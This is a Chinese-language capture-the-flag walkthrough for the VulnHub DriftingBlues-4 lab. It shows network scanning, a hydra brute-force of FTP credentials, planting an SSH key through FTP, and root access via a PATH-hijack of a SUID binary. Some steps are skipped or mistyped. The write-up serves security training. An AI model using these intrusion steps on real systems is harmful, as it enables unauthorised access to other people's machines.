vulnhub靶场之driftingblues-4

一.环境搭建

1.靶场描述

复制代码
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested  vtx/amdv enabled. you can contact me by email for troubleshooting or  questions.
This works better with VirtualBox rather than VMware.
复制代码

2.靶场下载

复制代码
https://www.vulnhub.com/entry/driftingblues-4,661/
复制代码

3.靶场启动

复制代码
我们不知道靶场ip地址,但是我们知道网段是192.168.1.0/24,我们进行探测即可
复制代码

二.信息收集

1.寻找靶场真实ip

复制代码
nmap -sP 192.168.1.0/24
复制代码
复制代码
arp-scan -l
复制代码
复制代码
靶场的ip地址为192.168.1.10
复制代码

2.探测端口及服务

复制代码
nmap -p- -sV 192.168.1.10
复制代码
复制代码
发现开启了21端口, 服务为ftp
发现开启了22端口,服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口,服务为Apache httpd 2.4.38 ((Debian))
复制代码

三.渗透测试

1.访问web服务

复制代码
http://192.168.1.10
复制代码

我们查看页面,没有发现任何有用的信息,我们进行查看源代码,发现一串base64编码,我们一会进行解密查看

开启了21端口,我们进行查看ftp服务,但是不能进行匿名访问

复制代码
ftp://192.168.1.10
复制代码

2.扫描web服务

1)nikto扫描

复制代码
nikto -h http://192.168.1.10
复制代码

没有任何信息

2)dirsearch目录扫描

复制代码
dirsearch -u 192.168.1.10 -e * -x 403 --random-agent
复制代码

什么也没有,目前我们掌握的信息,只有一串base64编码,我们进行解密查看

3.渗透测试

1)解密

我们进行解密base64,一共需要解密4次

复制代码
Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09
复制代码

我们发现是一个目录,我们进行访问

复制代码
http://192.168.1.10/imfuckingmad.txt
复制代码

发现是Brainfuck编码,我们进行解密,发现是一个二维码

2)扫描二维码

我们进行扫描

我们发现一个网址,我们进行访问发现4个用户名

复制代码
https://i.imgur.com/a4JjS76.png
复制代码

在之前我们访问ftp访问的时候,发现需要用户名进行登录,那么我们进行爆破试试

3)hydra爆破

我们使用hydra进行爆破

复制代码
hydra -L '/home/kali/桌面/1.txt'  -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.10 
复制代码
复制代码
破解出一个 FTP登录的用户名和密码:luther/mypics
复制代码

是 sync(linux同步命令,含义为迫使缓冲块数据立即写盘并更新超级块),那我尝试往 ftp 中的 hubert 文件中写入 ssh 密钥,猜测应该就会同步到 hubert 用户的家目录中,现在 ftp 中的 hubert 目录下创建 .ssh 目录

4)制作ssh私钥

首先先在kaii本地生成秘钥ssh-keygen 将 id_rsa.pub SSH公钥文件另存为 authorized_keys

复制代码
ssh---keygen -t rsa
复制代码

然后我们在hubert目录下创建.ssh目录,我之前就已经创建好了.ssh目录,所以这里就不在创建了

我们上传authorized_keys到靶场里面,我们可以看到上传成功

复制代码
chmod 400 id_rsa   #给权限
复制代码

5)ssh登录

复制代码
ssh hubert@192.168.1.10 -i id_rsa
复制代码

我们可以在user.txt里面,看到第一个flag

6)提权

我们使用命令

复制代码
find / -perm -u=s -type f 2>/dev/null
复制代码

我们可以看到熟悉的getinfo,我们进行提权

执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

复制代码
export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中
cd /tmp
echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)
chmod +x ip                                    给ip文件增加执行权限
复制代码

我们可以看到是root提权,我们进行查看flag即可

相关推荐
白猫不黑2 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender3 小时前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)4 小时前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
sbjdhjd13 小时前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑13 小时前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑14 小时前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
蒲公英eric1 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
Koi慢热2 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全
蒲公英eric3 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
云水一下3 天前
零基础玩转bWAPP靶场(六十七):Cross-Domain Policy File (Flash)
web安全·flash·bwapp